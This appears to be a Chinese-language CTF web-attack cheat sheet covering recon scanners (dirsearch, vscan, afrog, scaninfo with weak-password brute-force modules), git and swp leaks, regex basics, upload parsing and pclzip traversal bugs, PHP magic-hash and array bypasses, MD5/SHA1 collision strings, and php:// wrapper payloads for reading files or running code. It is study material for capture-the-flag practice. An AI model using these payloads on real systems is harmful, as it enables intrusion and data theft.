Web | 网络攻防
信息搜集
flag 在哪
/flag
flag
/proc/1/environ
扫描目录
dirsearch
Kali Linux
基本使用:
dirsearch -u https://target
dirsearch -e php,html,js -u https://target
dirsearch -e php,html,js -u https://target -w /path/to/wordlist
全部参数:
Usage: dirsearch.py [-u|--url] target [-e|--extensions] extensions [options]
Options:
--version show program's version number and exit
-h, --help show this help message and exit
Mandatory:
-u URL, --url=URL Target URL(s), can use multiple flags
-l PATH, --url-file=PATH
URL list file
--stdin Read URL(s) from STDIN
--cidr=CIDR Target CIDR
--raw=PATH Load raw HTTP request from file (use '--scheme' flag
to set the scheme)
-s SESSION_FILE, --session=SESSION_FILE
Session file
--config=PATH Path to configuration file (Default:
'DIRSEARCH_CONFIG' environment variable, otherwise
'config.ini')
Dictionary Settings:
-w WORDLISTS, --wordlists=WORDLISTS
Customize wordlists (separated by commas)
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by commas (e.g. php,asp)
-f, --force-extensions
Add extensions to the end of every wordlist entry. By
default dirsearch only replaces the %EXT% keyword with
extensions
-O, --overwrite-extensions
Overwrite other extensions in the wordlist with your
extensions (selected via `-e`)
--exclude-extensions=EXTENSIONS
Exclude extension list separated by commas (e.g.
asp,jsp)
--remove-extensions
Remove extensions in all paths (e.g. admin.php ->
admin)
--prefixes=PREFIXES
Add custom prefixes to all wordlist entries (separated
by commas)
--suffixes=SUFFIXES
Add custom suffixes to all wordlist entries, ignore
directories (separated by commas)
-U, --uppercase Uppercase wordlist
-L, --lowercase Lowercase wordlist
-C, --capital Capital wordlist
General Settings:
-t THREADS, --threads=THREADS
Number of threads
-r, --recursive Brute-force recursively
--deep-recursive Perform recursive scan on every directory depth (e.g.
api/users -> api/)
--force-recursive Do recursive brute-force for every found path, not
only directories
-R DEPTH, --max-recursion-depth=DEPTH
Maximum recursion depth
--recursion-status=CODES
Valid status codes to perform recursive scan, support
ranges (separated by commas)
--subdirs=SUBDIRS Scan sub-directories of the given URL[s] (separated by
commas)
--exclude-subdirs=SUBDIRS
Exclude the following subdirectories during recursive
scan (separated by commas)
-i CODES, --include-status=CODES
Include status codes, separated by commas, support
ranges (e.g. 200,300-399)
-x CODES, --exclude-status=CODES
Exclude status codes, separated by commas, support
ranges (e.g. 301,500-599)
--exclude-sizes=SIZES
Exclude responses by sizes, separated by commas (e.g.
0B,4KB)
--exclude-text=TEXTS
Exclude responses by text, can use multiple flags
--exclude-regex=REGEX
Exclude responses by regular expression
--exclude-redirect=STRING
Exclude responses if this regex (or text) matches
redirect URL (e.g. '/index.html')
--exclude-response=PATH
Exclude responses similar to response of this page,
path as input (e.g. 404.html)
--skip-on-status=CODES
Skip target whenever hit one of these status codes,
separated by commas, support ranges
--min-response-size=LENGTH
Minimum response length
--max-response-size=LENGTH
Maximum response length
--max-time=SECONDS Maximum runtime for the scan
--exit-on-error Exit whenever an error occurs
Request Settings:
-m METHOD, --http-method=METHOD
HTTP method (default: GET)
-d DATA, --data=DATA
HTTP request data
--data-file=PATH File contains HTTP request data
-H HEADERS, --header=HEADERS
HTTP request header, can use multiple flags
--header-file=PATH File contains HTTP request headers
-F, --follow-redirects
Follow HTTP redirects
--random-agent Choose a random User-Agent for each request
--auth=CREDENTIAL Authentication credential (e.g. user:password or
bearer token)
--auth-type=TYPE Authentication type (basic, digest, bearer, ntlm, jwt,
oauth2)
--cert-file=PATH File contains client-side certificate
--key-file=PATH File contains client-side certificate private key
(unencrypted)
--user-agent=USER_AGENT
--cookie=COOKIE
Connection Settings:
--timeout=TIMEOUT Connection timeout
--delay=DELAY Delay between requests
--proxy=PROXY Proxy URL (HTTP/SOCKS), can use multiple flags
--proxy-file=PATH File contains proxy servers
--proxy-auth=CREDENTIAL
Proxy authentication credential
--replay-proxy=PROXY
Proxy to replay with found paths
--tor Use Tor network as proxy
--scheme=SCHEME Scheme for raw request or if there is no scheme in the
URL (Default: auto-detect)
--max-rate=RATE Max requests per second
--retries=RETRIES Number of retries for failed requests
--ip=IP Server IP address
--interface=NETWORK_INTERFACE
Network interface to use
Advanced Settings:
--crawl Crawl for new paths in responses
View Settings:
--full-url Full URLs in the output (enabled automatically in
quiet mode)
--redirects-history
Show redirects history
--no-color No colored output
-q, --quiet-mode Quiet mode
Output Settings:
-o PATH, --output=PATH
Output file
--format=FORMAT Report format (Available: simple, plain, json, xml,
md, csv, html, sqlite)
--log=PATH Log file
常用工具
Vscan
网站特征与漏洞扫描工具。
基本使用
vscan -host 127.0.0.1 # 对 127.0.0.1 进行http常用端口扫描
vscan -host 127.0.0.1 -s SYN # SYN扫描端口 速度更快,但需要root权限
vscan -host http://127.0.0.1:7001 # 不会对 127.0.0.1 进行端口扫描,而是直接对 http://127.0.0.1:7001 地址进行检测
vscan -host 127.0.0.1 -p 7001,7002 # 对 127.0.0.1 的7001,7002端口进行检测
vscan -host 127.0.0.1 -top-ports 1000 # 对 127.0.0.1 进行 NmapTop1000 端口进行检测
# 使用DNSLOG功能 有些POC的检测要用到DNSLOG功能
vscan -host 127.0.0.1 -ceyeapi 3500667873c9d0e17b21d4f4ffff8ffa -ceyedomain xv89s5a.ceye.io
所有参数
Usage:
./vscan [flags]
INPUT:
-host string[] hosts to scan ports for (comma-separated)
-list, -l string list of hosts to scan ports (file)
-exclude-hosts, -eh string hosts to exclude from the scan (comma-separated)
-exclude-file, -ef string list of hosts to exclude from scan (file)
PORT:
-port, -p string ports to scan (80,443, 100-200
-top-ports, -tp string top ports to scan (default http)
-exclude-ports, -ep string ports to exclude from scan (comma-separated)
-ports-file, -pf string list of ports to exclude from scan (file)
-exclude-cdn, -ec skip full port scans for CDN's (only checks for 80,443)
RATE-LIMIT:
-c int general internal worker threads (default 25)
-rate int packets to send per second (default 1000)
OUTPUT:
-o, -output string file to write output to (optional)
-json write output in JSON lines format
-csv write output in csv format
CONFIGURATION:
-ceyeapi ceye.io api key
-ceyedomain ceye.io subdomain
-np Skip POC check
-scan-all-ips, -sa scan all the IP's associated with DNS record
-scan-type, -s string type of port scan (SYN/CONNECT) (default "s")
-source-ip string source ip
-interface-list, -il list available interfaces and public ip
-interface, -i string network Interface to use for port scan
-nmap invoke nmap scan on targets (nmap must be installed) - Deprecated
-nmap-cli string nmap command to run on found results (example: -nmap-cli 'nmap -sV')
-r string list of custom resolver dns resolution (comma separated or from file)
-proxy string socks5 proxy
-resume resume scan using resume.cfg
-stream stream mode (disables resume, nmap, verify, retries, shuffling, etc)
OPTIMIZATION:
-retries int number of retries for the port scan (default 3)
-timeout int millisecond to wait before timing out (default 1000)
-warm-up-time int time in seconds between scan phases (default 2)
-ping ping probes for verification of host
-verify validate the ports again with TCP verification
DEBUG:
-debug display debugging information
-verbose, -v display verbose output
-no-color, -nc disable colors in CLI output
-silent display only results in output
-version display version of naabu
-stats display stats of the running scan
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
afrog
高性能漏洞扫描器
第一次启动 afrog 时,它会自动创建一个名为 的配置文件,该文件将保存在当前用户目录下。afrog-config.yaml
$HOME/.config/afrog/afrog-config.yaml
基本使用
afrog -t https://example.com
afrog -T urls.txt # 扫描多个url
作为库
package main
import (
"fmt"
"github.com/zan8in/afrog"
)
func main() {
if err := afrog.NewScanner([]string{"http://example.com"}, afrog.Scanner{}); err != nil {
fmt.Println(err.Error())
}
}
scaninfo
fast scan for redtools
常见问题
- 漏洞扫描的时候有时候最后几个任务会卡住,是因为ftp爆破模块,这个fscan也一样目前没有好的解决办法,后续更新.先阶段可以-eq 21跳过ftp,或者control+c 主动停止不影响结果保存。
- 有时候扫外网的全端口会漏掉端口可以使用-n 指定线程为500,400,默认为900.网络好的话900-1000都是没有问题
- 关于结果报告 xlsx 文件是当你control+c 主动停止或任务正常结束时才会写入。txt文件是实时写入。
基本使用
scaninfo -uf url.txt -m webfinger # web指纹识别
scaninfo -i 192.168.0.0/24 -p 1-65535 -eq 53 -m port # 端口扫描
scaninfo -i 192.168.0.0/24 -l ip.txt -uf url.txt -t1000 # 可以组合各种目标ip段ip文件url文件
所有参数
主要参数
参数 | 说明 |
---|---|
-ei | 排除某IP |
-eq | 排除某端口 |
-l | 指定IP文件 |
-uf | 指定要web指纹识别的url文件 |
-ff | 指定指纹文件默认使用内置 |
-o | 指定保存的结果文件默认为result |
-p | 指定端口默认使用top100 |
-m | 指定扫描的模块默认为全部 |
-pt | 指定ping 探测存活的线程 |
-vt | 指定web指纹扫描的线程默认500 |
-n | 指定端口扫描的线程默认900 |
-show | 查看扫描支持的模块 |
-t | 端口扫描tcp连接的超时时间默认0.5 |
-np | 跳过存活探测 |
模块说明
模块 | 说明 |
---|---|
ftp | ftp弱口令探测 |
ssh | ssh弱口令探测 |
smb | smb弱口令探测 |
mssql | mssql弱口令探测 |
mysql | mysql弱口令探测 |
mgo | mongodb弱口令探测 |
redis | redis弱口令探测 |
psql | psql弱口令探测 |
ms17010 | ms17010探测 |
smbghost | smbghost探测 |
webfinger | web指纹识别 |
netbios | netbios探测,可以识别主机名发现域控 |
findnet | oxid |
all | 所有 |
port | 端口扫描 |
ping | ping 存活 |
mem | memcached弱口令 |
.git 泄露
常规git泄露
scrabble http://0.0.0.0/
scrabble
后面跟的是目标url,只有该目标中有git泄露才会正常工作。
swp 文件
swp文件是vim的备份文件,该文件用于备份用户因意外退出时的文件内容,针对SWP备份文件,我们可以用vim -r
命令恢复文件内容。
vim -r .index.php.swp
composer 文件
.DS_store
Linux基础
/bin、/sbin、/usr/sbin、/usr/bin
从命令功能角度:
- /sbin 下的命令属于基本的系统命令,如shutdown,reboot,用于启动系统,修复系统
- /bin下存放一些普通的基本命令,如ls,chmod等,这些命令在Linux系统里的配置文件脚本里经常用到
从用户权限的角度:
- /sbin目录下的命令通常只有管理员才可以运行
- /bin下的命令管理员和一般的用户都可以使用
/usr/sbin存放的一些非必须的系统命令;/usr/bin存放一些用户命令
HTTP
X-Forwarded-For
用来表示 HTTP 请求端真实 IP。
正则表达式
元字符和特性
字符匹配
- 普通字符:普通字符按照字面意义进行匹配,例如匹配字母 "a" 将匹配到文本中的 "a" 字符。
- 元字符:元字符具有特殊的含义,例如
\d
匹配任意数字字符,\w
匹配任意字母数字字符,.
匹配任意字符(除了换行符)等。
量词
*
:匹配前面的模式零次或多次。+
:匹配前面的模式一次或多次。?
:匹配前面的模式零次或一次。{n}
:匹配前面的模式恰好 n 次。{n,}
:匹配前面的模式至少 n 次。{n,m}
:匹配前面的模式至少 n 次且不超过 m 次。
字符类
[ ]
:匹配括号内的任意一个字符。例如,[abc]
匹配字符 "a"、"b" 或 "c"。[^ ]
:匹配除了括号内的字符以外的任意一个字符。例如,[^abc]
匹配除了字符 "a"、"b" 或 "c" 以外的任意字符。
边界匹配
^
:匹配字符串的开头。$
:匹配字符串的结尾。\b
:匹配单词边界。\B
:匹配非单词边界。
分组和捕获
( )
:用于分组和捕获子表达式。(?: )
:用于分组但不捕获子表达式。
特殊字符
\
:转义字符,用于匹配特殊字符本身。.
:匹配任意字符(除了换行符)。|
:用于指定多个模式的选择。
修饰符
标记也称为修饰符,正则表达式的标记用于指定额外的匹配策略。
标记不写在正则表达式里,标记位于表达式之外,格式如下:
/pattern/flags
下表列出了正则表达式常用的修饰符:
修饰符 | 含义 | 描述 |
---|---|---|
i | ignore - 不区分大小写 | 将匹配设置为不区分大小写,搜索时不区分大小写: A 和 a 没有区别。 |
g | global - 全局匹配 | 查找所有的匹配项。 |
m | multi line - 多行匹配 | 使边界字符 ^ 和 $ 匹配每一行的开头和结尾,记住是多行,而不是整个字符串的开头和结尾。 |
s | 特殊字符圆点 . 中包含换行符 \n | 默认情况下的圆点 . 是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后, . 中包含换行符 \n。 |
元字符
下表包含了元字符的完整列表以及它们在正则表达式上下文中的行为:
字符 | 描述 |
---|---|
\ | 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'\n' 匹配一个换行符。序列 '\' 匹配 "\" 而 "(" 则匹配 "("。 |
^ | 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。 |
$ | 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' 或 '\r' 之前的位置。 |
* | 匹配前面的子表达式零次或多次。例如,zo 能匹配 "z" 以及 "zoo"。 等价于{0,}。 |
+ | 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。 |
? | 匹配前面的子表达式零次或一次。例如,"do(es)?" 可以匹配 "do" 或 "does" 。? 等价于 {0,1}。 |
{n} | n 是一个非负整数。匹配确定的 n 次。例如,'o{2}' 不能匹配 "Bob" 中的 'o',但是能匹配 "food" 中的两个 o。 |
{n,} | n 是一个非负整数。至少匹配n 次。例如,'o{2,}' 不能匹配 "Bob" 中的 'o',但能匹配 "foooood" 中的所有 o。'o{1,}' 等价于 'o+'。'o{0,}' 则等价于 'o*'。 |
{n,m} | m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,"o{1,3}" 将匹配 "fooooood" 中的前三个 o。'o{0,1}' 等价于 'o?'。请注意在逗号和两个数之间不能有空格。 |
? | 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 "oooo",'o+?' 将匹配单个 "o",而 'o+' 将匹配所有 'o'。 |
. | 匹配除换行符(\n、\r)之外的任何单个字符。要匹配包括 '\n' 在内的任何字符,请使用像"(.|\n)"的模式。 |
(pattern) | 匹配 pattern 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到,在VBScript 中使用 SubMatches 集合,在JScript 中则使用 $0…$9 属性。要匹配圆括号字符,请使用 '(' 或 ')'。 |
(?:pattern) | 匹配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 "或" 字符 (|) 来组合一个模式的各个部分是很有用。例如, 'industr(?:y|ies) 就是一个比 'industry|industries' 更简略的表达式。 |
(?=pattern) | 正向肯定预查(look ahead positive assert),在任何匹配pattern的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,"Windows(?=95|98|NT|2000)"能匹配"Windows2000"中的"Windows",但不能匹配"Windows3.1"中的"Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 |
(?!pattern) | 正向否定预查(negative assert),在任何不匹配pattern的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如"Windows(?!95|98|NT|2000)"能匹配"Windows3.1"中的"Windows",但不能匹配"Windows2000"中的"Windows"。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 |
(?<=pattern) | 反向(look behind)肯定预查,与正向肯定预查类似,只是方向相反。例如,"(?<=95|98|NT|2000)Windows "能匹配"2000Windows "中的"Windows ",但不能匹配"3.1Windows "中的"Windows "。 |
(?<!pattern) | 反向否定预查,与正向否定预查类似,只是方向相反。例如"(?<!95|98|NT|2000)Windows "能匹配"3.1Windows "中的"Windows ",但不能匹配"2000Windows "中的"Windows "。 |
x|y | 匹配 x 或 y。例如,'z|food' 能匹配 "z" 或 "food"。'(z|f)ood' 则匹配 "zood" 或 "food"。 |
[xyz] | 字符集合。匹配所包含的任意一个字符。例如, '[abc]' 可以匹配 "plain" 中的 'a'。 |
[\^xyz] | 负值字符集合。匹配未包含的任意字符。例如, '[\^abc]' 可以匹配 "plain" 中的'p'、'l'、'i'、'n'。 |
[a-z] | 字符范围。匹配指定范围内的任意字符。例如,'[a-z]' 可以匹配 'a' 到 'z' 范围内的任意小写字母字符。 |
[\^a-z] | 负值字符范围。匹配任何不在指定范围内的任意字符。例如,'[\^a-z]' 可以匹配任何不在 'a' 到 'z' 范围内的任意字符。 |
\b | 匹配一个单词边界,也就是指单词和空格间的位置。例如, 'er\b' 可以匹配"never" 中的 'er',但不能匹配 "verb" 中的 'er'。 |
\B | 匹配非单词边界。'er\B' 能匹配 "verb" 中的 'er',但不能匹配 "never" 中的 'er'。 |
\cx | 匹配由 x 指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 'c' 字符。 |
\d | 匹配一个数字字符。等价于 [0-9]。 |
\D | 匹配一个非数字字符。等价于 [\^0-9]。 |
\f | 匹配一个换页符。等价于 \x0c 和 \cL。 |
\n | 匹配一个换行符。等价于 \x0a 和 \cJ。 |
\r | 匹配一个回车符。等价于 \x0d 和 \cM。 |
\s | 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。 |
\S | 匹配任何非空白字符。等价于 [\^ \f\n\r\t\v]。 |
\t | 匹配一个制表符。等价于 \x09 和 \cI。 |
\v | 匹配一个垂直制表符。等价于 \x0b 和 \cK。 |
\w | 匹配字母、数字、下划线。等价于'[A-Za-z0-9_]'。 |
\W | 匹配非字母、数字、下划线。等价于 '[\^A-Za-z0-9_]'。 |
\xn | 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如,'\x41' 匹配 "A"。'\x041' 则等价于 '\x04' & "1"。正则表达式中可以使用 ASCII 编码。 |
\num | 匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。例如,'(.)\1' 匹配两个连续的相同字符。 |
\n | 标识一个八进制转义值或一个向后引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为向后引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。 |
\nm | 标识一个八进制转义值或一个向后引用。如果 \nm 之前至少有 nm 个获得子表达式,则 nm 为向后引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的向后引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。 |
\nml | 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。 |
\un | 匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如, \u00A9 匹配版权符号 (?)。 |
文件上传漏洞
1. Apache 多后缀文件解析漏洞
此漏洞存在于module模式
由于管理员的错误配置,AddHandler application/x-httpd-php .php
,在有多个后缀的情况下,只要一个文件后缀含有.php 的文件即会被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。
2. pclzip 目录穿越漏洞
首先生成一个正常的压缩包,压缩包内含有 xxxxxxx.php.xxx
文件,然后 WinHex 打开该压缩包,改为 ../../x.php.xxx
(穿越两次),然后上传即可访问。
PHP
弱类型比较
string 与 bool
任何字符串和ture比返回值都为1
哈希绕过
两变量值不完全相等,md5相等
PHP在处理哈希字符串的时候,它把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。常见的如下:
在md5加密后以0E开头
-
QNKCDZO
-
240610708
- s878926199a
- s155964671a
- 7r4lGXCH2Ksu2JNT3BYM (两次后仍是0E) 0e269ab12da27d79a6626d91f34ae849
以下串在sha1加密后以0E开头,并且后面均为纯数字
- aaroZmOk
- aaK1STfY
两变量值不完全相等,md5完全相等
可以利用PHP中md5()函数无法处理数组(会返回NULL)的特性来绕过。
payload: /?a[]=1&b[]=2
两变量转化为字符串后值不完全相等,md5完全相等
这里需要用到的是MD5碰撞,也就是不同字符串但是MD5后值相同的情况。下面的任意两组字符串内容不同,但md5结果相同:
$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab"
$s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
两变量转化为字符串后值不完全相等,sha1完全相等
$array1 =
"%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
$array2 =
"%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
伪协议
php://
条件:
-
allow_url_fopen:不受影响
-
allow_url_include:仅 php://input、 php://stdin、php://memory、php://temp 需要 on
作用: 访问各个输入/输出流(I/O streams)
说明: PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。、
协议 | 作用 |
---|---|
php://input | 可以访问请求的原始数据的只读流。 如果启用了 enable_post_data_reading 选项, php://input 在使用 enctype="multipart/form-data" 的 POST 请求中不可用。 |
php://output | 只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。 |
php://fd | (>=5.3.6) php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。 |
php://memory php://temp | (>=5.1.0) 类似文件 包装器的数据流,允许读写临时数据。 两者的一个区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。 |
php://filter | (>=5.0.0) 元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。 |
- 用法:
# 直接读,PHP 代码会被解析
php://filter/resource=flag.php
# 针对 PHP 文件(常用)
php://filter/read=convert.base64-encode/resource=flag.php
# 其他字符编码
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
# Rot13
php://filter/string.rot13/resource=1.php
#
php://input # hackbar有bug
[POST DATA部分]
<?php phpinfo(); ?>
data://text/plain,<?php phpinfo();
PHP Filter链 - 基于oracle的文件读取攻击/侧信道攻击
适用函数:所有读取、写入或追加数据的函数,即与 php://filter
包装器兼容的函数。
应用场景:
